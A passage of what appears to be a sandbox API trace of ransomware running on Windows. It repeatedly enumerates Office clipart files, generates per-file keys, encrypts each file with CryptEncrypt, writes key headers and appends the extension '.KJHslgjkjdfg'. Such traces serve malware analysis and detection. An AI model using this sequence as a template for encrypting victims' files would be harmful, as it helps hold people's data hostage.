dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0195.673] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0195.673] GetProcessHeap () returned 0x2ef0000 [0195.674] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0195.674] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0195.674] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0195.674] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0195.678] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0195.678] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0195.678] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0195.678] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0195.678] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0195.678] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0195.678] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0195.679] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0195.679] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x2f0, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x2f0, lpOverlapped=0x0) returned 1 [0195.679] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x2f0, dwBufLen=0x2f0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x2f0) returned 1 [0195.679] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0195.679] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x2f0, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x2f0, lpOverlapped=0x0) returned 1 [0195.679] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0195.679] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x3c4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0195.679] SetEndOfFile (hFile=0x130) returned 1 [0195.681] GetProcessHeap () returned 0x2ef0000 [0195.681] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0195.681] GetProcessHeap () returned 0x2ef0000 [0195.681] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0195.681] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00586_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00586_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00586_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00586_.wmf.kjhslgjkjdfg")) returned 1 [0195.682] CloseHandle (hObject=0x130) returned 1 [0195.682] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbef0a100, ftCreationTime.dwHighDateTime=0x1bd4b36, ftLastAccessTime.dwLowDateTime=0x52290670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbef0a100, ftLastWriteTime.dwHighDateTime=0x1bd4b36, nFileSizeHigh=0x0, nFileSizeLow=0x2b90, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="FD00775_.WMF", cAlternateFileName="")) returned 1 [0195.682] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00775_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00775_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0195.683] GetProcessHeap () returned 0x2ef0000 [0195.683] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0195.683] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0195.683] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0195.683] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0195.683] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0195.683] GetProcessHeap () returned 0x2ef0000 [0195.683] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0195.683] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0195.683] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0195.683] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0195.684] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0195.684] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0195.685] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0195.685] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0195.685] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0195.685] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0195.685] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0195.685] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0195.685] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x2b90, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x2b90, lpOverlapped=0x0) returned 1 [0195.686] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x2b90, dwBufLen=0x2b90 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x2b90) returned 1 [0195.686] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0195.686] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x2b90, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x2b90, lpOverlapped=0x0) returned 1 [0195.686] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0195.686] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x2c64, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0195.686] SetEndOfFile (hFile=0x130) returned 1 [0195.688] GetProcessHeap () returned 0x2ef0000 [0195.688] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0195.688] GetProcessHeap () returned 0x2ef0000 [0195.688] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0195.688] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00775_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00775_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00775_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00775_.wmf.kjhslgjkjdfg")) returned 1 [0195.688] CloseHandle (hObject=0x130) returned 1 [0195.688] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd2364900, ftCreationTime.dwHighDateTime=0x1bd4b03, ftLastAccessTime.dwLowDateTime=0x52290670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd2364900, ftLastWriteTime.dwHighDateTime=0x1bd4b03, nFileSizeHigh=0x0, nFileSizeLow=0x2332, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="FD00779_.WMF", cAlternateFileName="")) returned 1 [0195.689] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00779_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00779_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0195.689] GetProcessHeap () returned 0x2ef0000 [0195.690] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0195.690] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0195.690] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0195.690] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0xe, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0xe, lpOverlapped=0x0) returned 1 [0195.692] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0195.692] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0195.692] GetProcessHeap () returned 0x2ef0000 [0195.692] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0195.692] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0195.692] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0195.692] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0195.692] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0195.692] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0195.692] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0195.692] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0195.692] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0195.692] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0195.692] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0195.692] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0195.692] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x2332, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x2332, lpOverlapped=0x0) returned 1 [0195.693] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x2340, dwBufLen=0x2340 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x2340) returned 1 [0195.693] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0195.693] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x2340, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x2340, lpOverlapped=0x0) returned 1 [0195.693] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0195.694] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x2414, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0195.694] SetEndOfFile (hFile=0x130) returned 1 [0195.694] GetProcessHeap () returned 0x2ef0000 [0195.695] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0195.695] GetProcessHeap () returned 0x2ef0000 [0195.695] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0195.695] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00779_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00779_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00779_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00779_.wmf.kjhslgjkjdfg")) returned 1 [0195.695] CloseHandle (hObject=0x130) returned 1 [0195.695] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb4adb300, ftCreationTime.dwHighDateTime=0x1bd4af4, ftLastAccessTime.dwLowDateTime=0x52290670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb4adb300, ftLastWriteTime.dwHighDateTime=0x1bd4af4, nFileSizeHigh=0x0, nFileSizeLow=0x3690, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="FD00799_.WMF", cAlternateFileName="")) returned 1 [0195.695] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00799_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00799_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0195.696] GetProcessHeap () returned 0x2ef0000 [0195.696] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0195.696] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0195.696] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0195.696] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0195.696] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0195.696] GetProcessHeap () returned 0x2ef0000 [0195.696] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0195.696] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0195.696] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0195.696] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0195.713] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0195.713] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0195.713] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0195.713] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0195.713] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0195.713] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0195.713] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0195.713] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0195.713] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x3690, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x3690, lpOverlapped=0x0) returned 1 [0195.714] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x3690, dwBufLen=0x3690 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x3690) returned 1 [0195.714] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0195.714] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x3690, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x3690, lpOverlapped=0x0) returned 1 [0195.715] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0195.715] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x3764, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0195.715] SetEndOfFile (hFile=0x130) returned 1 [0195.716] GetProcessHeap () returned 0x2ef0000 [0195.716] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0195.716] GetProcessHeap () returned 0x2ef0000 [0195.716] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0195.716] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00799_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00799_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00799_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00799_.wmf.kjhslgjkjdfg")) returned 1 [0195.717] CloseHandle (hObject=0x130) returned 1 [0195.717] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xad86a500, ftCreationTime.dwHighDateTime=0x1bd4af4, ftLastAccessTime.dwLowDateTime=0x52290670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xad86a500, ftLastWriteTime.dwHighDateTime=0x1bd4af4, nFileSizeHigh=0x0, nFileSizeLow=0xa6d0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="FD00814_.WMF", cAlternateFileName="")) returned 1 [0195.717] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00814_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00814_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0195.718] GetProcessHeap () returned 0x2ef0000 [0195.718] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0195.718] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0195.718] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0195.718] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0195.718] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0195.718] GetProcessHeap () returned 0x2ef0000 [0195.718] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0195.718] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0195.718] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0195.718] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0195.721] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0195.721] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0195.721] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0195.721] SetFilePointerEx (in: hFile=0x130, 